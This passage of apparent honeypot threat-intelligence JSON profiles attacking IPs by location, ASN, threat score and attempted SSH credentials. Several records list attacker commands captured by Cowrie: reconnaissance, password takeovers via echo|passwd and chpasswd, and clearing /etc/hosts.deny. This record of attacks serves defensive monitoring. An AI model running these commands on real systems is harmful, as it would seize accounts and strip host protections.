      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "36.55.148.193": {
      "attack_count": 2,
      "first_seen": "2026-03-02T08:00:49.136Z",
      "last_seen": "2026-03-02T08:01:03.138Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Toyama",
      "asn": 10013,
      "as_org": "FreeBit Co.,Ltd.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T08:00:49.136000+00:00",
        "last_seen_30d": "2026-03-02T08:02:05.429000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "52.165.223.243": {
      "attack_count": 2,
      "first_seen": "2026-03-09T07:55:13.615Z",
      "last_seen": "2026-03-09T07:55:44.111Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T07:55:13.615000+00:00",
        "last_seen_30d": "2026-03-09T07:56:46.045000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "59.98.68.181": {
      "attack_count": 2,
      "first_seen": "2026-03-24T20:20:29.538Z",
      "last_seen": "2026-03-24T20:20:43.567Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T20:20:29.538000+00:00",
        "last_seen_30d": "2026-03-24T20:21:52.680000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "78.142.42.58": {
      "attack_count": 2,
      "first_seen": "2026-03-08T15:18:58.955Z",
      "last_seen": "2026-03-08T15:19:30.534Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": "Dupnitsa",
      "asn": 42956,
      "as_org": "Di Eood",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T15:18:58.955000+00:00",
        "last_seen_30d": "2026-03-08T15:20:32.653000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "78.36.247.72": {
      "attack_count": 2,
      "first_seen": "2026-03-10T08:32:11.601Z",
      "last_seen": "2026-03-10T08:32:27.228Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Opochka",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T08:32:11.601000+00:00",
        "last_seen_30d": "2026-03-10T08:33:34.136000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "8.215.33.203": {
      "attack_count": 2,
      "first_seen": "2026-03-27T09:22:56.721Z",
      "last_seen": "2026-03-27T09:23:27.770Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 35.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.0,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T14:46:47.079000+00:00",
        "last_seen_30d": "2026-03-27T09:24:36.292000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "91.224.92.79": {
      "attack_count": 2,
      "first_seen": "2026-03-15T13:58:19.388Z",
      "last_seen": "2026-03-15T13:58:19.689Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 209605,
      "as_org": "UAB Host Baltic",
      "threat_score": 41.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 4.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 6368,
        "days_active_30d": 5,
        "ports_targeted_30d": 3326,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-15T13:58:19.388000+00:00",
        "last_seen_30d": "2026-03-19T08:34:54.483000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Honeytrap": 3183,
        "Suricata": 3183,
        "Cowrie": 2
      }
    },
    "182.93.7.194": {
      "attack_count": 825,
      "first_seen": "2026-03-08T07:32:34.915Z",
      "last_seen": "2026-03-24T06:21:59.220Z",
      "sessions": 59,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "clawd",
        "ftpuser",
        "george",
        "ghostadmin",
        "k8suser",
        "kyle",
        "user02",
        "vagrant",
        "aa",
        "botuser",
        "daniel",
        "dario",
        "den",
        "ftpuser01",
        "geo",
        "java",
        "lan",
        "linuxbrew"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "12345678",
        "password",
        "!QAZ2wsx",
        "12345",
        "123456",
        "1986123",
        "Aa1234567",
        "Aa778899",
        "George123!",
        "Ghostadmin123!",
        "Matin123!",
        "Ociispth123!",
        "Otrs123",
        "Salam@123",
        "Wyy123!",
        "asdfasdf"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345\\nP4vZnOj9xjLY\\nP4vZnOj9xjLY\\n\"|passwd",
        "echo \"123\\nBU3o4RMquMgX\\nBU3o4RMquMgX\\n\"|passwd",
        "echo \"123\\nSMhCYmXXvlbE\\nSMhCYmXXvlbE\\n\"|passwd",
        "echo \"George123!\\nplgWuleuHeGP\\nplgWuleuHeGP\\n\"|passwd",
        "echo \"Ghostadmin123!\\nBDDOoax1KEwJ\\nBDDOoax1KEwJ\\n\"|passwd",
        "echo \"ftpuser#2025\\n8WT3VZPsr9dg\\n8WT3VZPsr9dg\\n\"|passwd",
        "echo \"k8suser\\nMXSFrXDAYD84\\nMXSFrXDAYD84\\n\"|passwd",
        "echo \"root:2W3uQqjVgpGQ\"|chpasswd|bash",
        "echo \"vagrantpass\\nWGsKrBYqzPOZ\\nWGsKrBYqzPOZ\\n\"|passwd",
        "echo -e \"12345\\nP4vZnOj9xjLY\\nP4vZnOj9xjLY\"|passwd|bash",
        "echo -e \"123\\nBU3o4RMquMgX\\nBU3o4RMquMgX\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Macao",
      "country_code": "MO",
      "city": null,
      "asn": 4609,
      "as_org": "Companhia de Telecomunicacoes de Macau SARL",
      "threat_score": 42.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.8,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 966,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T07:32:34.915000+00:00",
        "last_seen_30d": "2026-03-24T06:23:00.456000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 825,
        "Suricata": 141
      }
    },
    "211.253.37.225": {
      "attack_count": 691,
      "first_seen": "2026-03-06T06:56:29.476Z",
      "last_seen": "2026-03-27T09:50:26.977Z",
      "sessions": 68,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "bot2",
        "cs",
        "vicente",
        "abhi",
        "andy",
        "appserver",
        "bryan",
        "devuser",
        "edward",
        "ftpadmin",
        "lrendon",
        "praveen",
        "pruebas",
        "samba",
        "shawn",
        "sistemas",
        "slave",
        "software"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "1234543211",
        "123456asdfg",
        "123qwe,.",
        "123ubuntu",
        "2wsx#EDC4rfv%TGB",
        "@qwer2025",
        "Admin123#",
        "Asdfg123456",
        "Ftpadmin123!",
        "Mouse2025",
        "P@ssw0rda",
        "Password!1234",
        "Pruebas",
        "QWEasd!@#123",
        "Qq1234567890",
        "Sangfor@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"1234\\n0LPhaeS3xONE\\n0LPhaeS3xONE\\n\"|passwd",
        "echo \"1234\\nHgUt7Szb2hkL\\nHgUt7Szb2hkL\\n\"|passwd",
        "echo \"root:GPxFWbWbRhlG\"|chpasswd|bash",
        "echo \"root:NYjhmI1TRgMI\"|chpasswd|bash",
        "echo \"root:TEyyNxx8MaaA\"|chpasswd|bash",
        "echo \"vicente123\\nOdltL8pqjR16\\nOdltL8pqjR16\\n\"|passwd",
        "echo -e \"1234\\n0LPhaeS3xONE\\n0LPhaeS3xONE\"|passwd|bash",
        "echo -e \"1234\\nHgUt7Szb2hkL\\nHgUt7Szb2hkL\"|passwd|bash",
        "echo -e \"vicente123\\nOdltL8pqjR16\\nOdltL8pqjR16\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Goyang-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 51.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.4,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 861,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T06:56:29.476000+00:00",
        "last_seen_30d": "2026-03-27T09:51:29.731000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 691,
        "Suricata": 170
      }
    },
    "103.176.78.213": {
      "attack_count": 541,
      "first_seen": "2026-03-11T01:56:07.101Z",
      "last_seen": "2026-03-18T10:00:48.016Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "dev1",
        "prince",
        "sysadmin",
        "admin",
        "alberto",
        "arthur",
        "clawd",
        "ex",
        "guest1",
        "incoming",
        "jira",
        "jupyter",
        "mob",
        "oracle",
        "otsmanager",
        "printer",
        "reza",
        "sandra"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345678",
        "123456",
        "123qweasdZXC",
        "Aa123456Aa",
        "Abc.123456",
        "Dev1123",
        "Huawei@123",
        "Incoming",
        "Passw0rd.",
        "admin123456",
        "alberto@123",
        "guest1password",
        "jira",
        "otsmanager@123",
        "password",
        "prince@123456",
        "printer"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Dev1123\\ndoRwASVLecI4\\ndoRwASVLecI4\\n\"|passwd",
        "echo \"prince@123456\\nNN6bNq5ZjIM2\\nNN6bNq5ZjIM2\\n\"|passwd",
        "echo \"root:7o4AWG5iPRLZ\"|chpasswd|bash",
        "echo \"root:bn1QPhF4vocF\"|chpasswd|bash",
        "echo \"root:vrE31KPIfro0\"|chpasswd|bash",
        "echo \"sysadmin123\\nqPHzb8TD8iBa\\nqPHzb8TD8iBa\\n\"|passwd",
        "echo -e \"Dev1123\\ndoRwASVLecI4\\ndoRwASVLecI4\"|passwd|bash",
        "echo -e \"prince@123456\\nNN6bNq5ZjIM2\\nNN6bNq5ZjIM2\"|passwd|bash",
        "echo -e \"sysadmin123\\nqPHzb8TD8iBa\\nqPHzb8TD8iBa\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 26.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.0,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 631,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T01:56:07.101000+00:00",
        "last_seen_30d": "2026-03-18T10:01:57.636000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 541,
        "Suricata": 90
      }
    },
    "161.35.95.137": {
      "attack_count": 435,
      "first_seen": "2026-03-07T10:54:11.226Z",
      "last_seen": "2026-03-07T12:15:11.460Z",
      "sessions": 86,
      "ports": [],
      "usernames_attempted": [
        "postgres",
        "oracle",
        "root",
        "apache",
        "deploy",
        "git",
        "guest",
        "hadoop",
        "jira",
        "mysql",
        "nagios",
        "pul",
        "server",
        "test",
        "test1",
        "test2",
        "test3",
        "testuser",
        "uftp",
        "user"
      ],
      "passwords_attempted": [
        "123",
        "321",
        "pass",
        "password",
        "qwerty",
        "test",
        "111111",
        "123456",
        "1234qwer",
        "123qwe",
        "654321",
        "P@ssw0rd",
        "pass123",
        "pass1234",
        "passpass",
        "passwd",
        "password123",
        "qwe123",
        "qwer1234",
        "qwerty123456"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 623,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T10:54:11.226000+00:00",
        "last_seen_30d": "2026-03-07T12:16:12.899000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 435,
        "Suricata": 188
      }
    },
    "118.193.36.245": {
      "attack_count": 355,
      "first_seen": "2026-03-25T13:23:44.648Z",
      "last_seen": "2026-03-26T20:59:29.999Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ljj",
        "geo",
        "j",
        "music",
        "proxyuser",
        "ubuntu",
        "vamsi",
        "zsolt"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123123123",
        "12345",
        "12345trewq",
        "1qw2!QW@",
        "ABCD1234",
        "Abcd!1234",
        "Helpdesk1",
        "Hs@123456",
        "Pass@2023",
        "QX@123456",
        "Temp2024",
        "Yf123456",
        "Yx123456",
        "Zsolt123",
        "abc123abc123",
        "amore123",
        "ck123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1234\\nOeCQxYh4v4vi\\nOeCQxYh4v4vi\\n\"|passwd",
        "echo \"root:WTJxwkZeKKBC\"|chpasswd|bash",
        "echo \"root:nDfCiZfbUa9W\"|chpasswd|bash",
        "echo -e \"1234\\nOeCQxYh4v4vi\\nOeCQxYh4v4vi\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 33.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 448,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T13:23:44.648000+00:00",
        "last_seen_30d": "2026-03-26T21:00:35.014000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 355,
        "Suricata": 93
      }
    },
    "159.89.121.21": {
      "attack_count": 307,
      "first_seen": "2026-03-06T04:38:32.132Z",
      "last_seen": "2026-03-07T11:23:49.572Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "abdul",
        "patricia",
        "zomboid",
        "anders",
        "bitrix",
        "family",
        "hamza",
        "kocom",
        "lcx",
        "legales",
        "maarch",
        "mexal",
        "obc",
        "search",
        "user",
        "user2"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "password",
        "123",
        "12345678",
        "Bitrix123",
        "Obc123!",
        "Root123456",
        "Root1234567890",
        "Test2026!",
        "Zomboid123",
        "abdul",
        "admin212",
        "family123!",
        "lcx",
        "legalespass",
        "maarchpass",
        "password123",
        "user1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123\\nanBtxwQFwLWd\\nanBtxwQFwLWd\\n\"|passwd",
        "echo \"Zomboid123\\n4aZnsrkM3DmL\\n4aZnsrkM3DmL\\n\"|passwd",
        "echo \"abdul\\n8Bqlxhfmwzl1\\n8Bqlxhfmwzl1\\n\"|passwd",
        "echo -e \"123\\nanBtxwQFwLWd\\nanBtxwQFwLWd\"|passwd|bash",
        "echo -e \"Zomboid123\\n4aZnsrkM3DmL\\n4aZnsrkM3DmL\"|passwd|bash",
        "echo -e \"abdul\\n8Bqlxhfmwzl1\\n8Bqlxhfmwzl1\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 7.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 367,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T04:38:32.132000+00:00",
        "last_seen_30d": "2026-03-07T11:24:56.337000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 307,
        "Suricata": 60
      }
    },
    "217.154.106.153": {
      "attack_count": 307,
      "first_seen": "2026-03-09T18:12:12.386Z",
      "last_seen": "2026-03-15T01:47:42.234Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "carlo",
        "labs",
        "nutanix",
        "auditor",
        "data",
        "deploy",
        "devops",
        "joao",
        "mehedi",
        "mostafa",
        "online",
        "ops",
        "rd",
        "rdp",
        "roy",
        "teste",
        "vpnbot"
      ],
      "passwords_attempted": [
        "12345",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "Admin@12345678",
        "Hik12345",
        "Mehedi123",
        "Rdp123!",
        "carlo1234",
        "devops2025",
        "mostafa123",
        "nutanix/4u",
        "online123",
        "rd123",
        "root123456*",
        "teste123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nBupM0BuqR717\\nBupM0BuqR717\\n\"|passwd",
        "echo \"carlo1234\\nxxWMTiVzcPBD\\nxxWMTiVzcPBD\\n\"|passwd",
        "echo \"nutanix/4u\\nsKhaV5BDvWVr\\nsKhaV5BDvWVr\\n\"|passwd",
        "echo -e \"12345678\\nBupM0BuqR717\\nBupM0BuqR717\"|passwd|bash",
        "echo -e \"carlo1234\\nxxWMTiVzcPBD\\nxxWMTiVzcPBD\"|passwd|bash",
        "echo -e \"nutanix/4u\\nsKhaV5BDvWVr\\nsKhaV5BDvWVr\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 20.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 367,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T18:12:12.386000+00:00",
        "last_seen_30d": "2026-03-15T01:48:47.509000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 307,
        "Suricata": 60
      }
    },
    "103.105.155.88": {
      "attack_count": 281,
      "first_seen": "2026-03-24T01:24:39.384Z",
      "last_seen": "2026-03-24T02:03:43.260Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "alyssa",
        "ftproot",
        "kamal",
        "root",
        "ali",
        "comercial",
        "guest",
        "hacker",
        "janice",
        "mycat",
        "rich",
        "sahil",
        "security",
        "teamspeak"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "123",
        "1234",
        "12345",
        "123456",
        "Admin101",
        "Ali123",
        "alyssa@123456",
        "comercialcomercial",
        "ftprootpass",
